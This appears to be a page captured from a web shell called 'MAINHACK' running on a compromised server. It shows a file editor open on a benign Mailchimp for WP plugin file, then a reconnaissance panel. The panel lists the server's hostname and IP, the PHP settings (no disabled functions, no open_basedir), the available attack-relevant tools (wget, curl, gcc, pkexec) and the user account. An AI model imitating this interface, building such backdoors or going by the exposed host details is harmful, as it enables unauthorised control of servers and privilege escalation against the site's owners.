[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: class-form-amp.php
<?php /** * Class MC4WP_Form_AMP */ class MC4WP_Form_AMP { /** * Hook! */ public function add_hooks() { add_filter('mc4wp_form_content', [ $this, 'add_response_templates' ], 10, 2); add_filter('mc4wp_form_element_attributes', [ $this, 'add_amp_request' ]); add_filter('mc4wp_load_form_scripts', [ $this, 'suppress_scripts' ]); } /** * Add AMP templates for submit/success/error. * * @param string $content The form content. * @param MC4WP_Form $form The form object. * @return string Modified $content. */ public function add_response_templates($content, $form) { if (! function_exists('amp_is_request') || ! amp_is_request()) { return $content; } ob_start(); ?> <div submitting> <template type="amp-mustache"> <?php echo esc_html__('Submitting...', 'mailchimp-for-wp'); ?> </template> </div> <div submit-success> <template type="amp-mustache"> <?php echo wp_kses( $form->get_message('subscribed'), [ 'a' => [], 'strong' => [], 'em' => [], ] ); ?> </template> </div> <div submit-error> <template type="amp-mustache"> {{message}} </template> </div> <?php $content .= ob_get_clean(); return $content; } /** * Add 'action-xhr' to AMP forms. * * @param array $attributes Key-Value pairs of attributes output on form. * @return array Modified $attributes. */ public function add_amp_request($attributes) { if (function_exists('amp_is_request') && amp_is_request()) { $attributes['action-xhr'] = get_rest_url(null, 'mc4wp/v1/form'); } return $attributes; } /** * Suppress form scripts on AMP pages. * * @param bool $load_scripts Whether scripts should be loaded. * @return bool Modified $load_scripts. */ public function suppress_scripts($load_scripts) { if (function_exists('amp_is_request') && amp_is_request()) { return false; } return $load_scripts; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002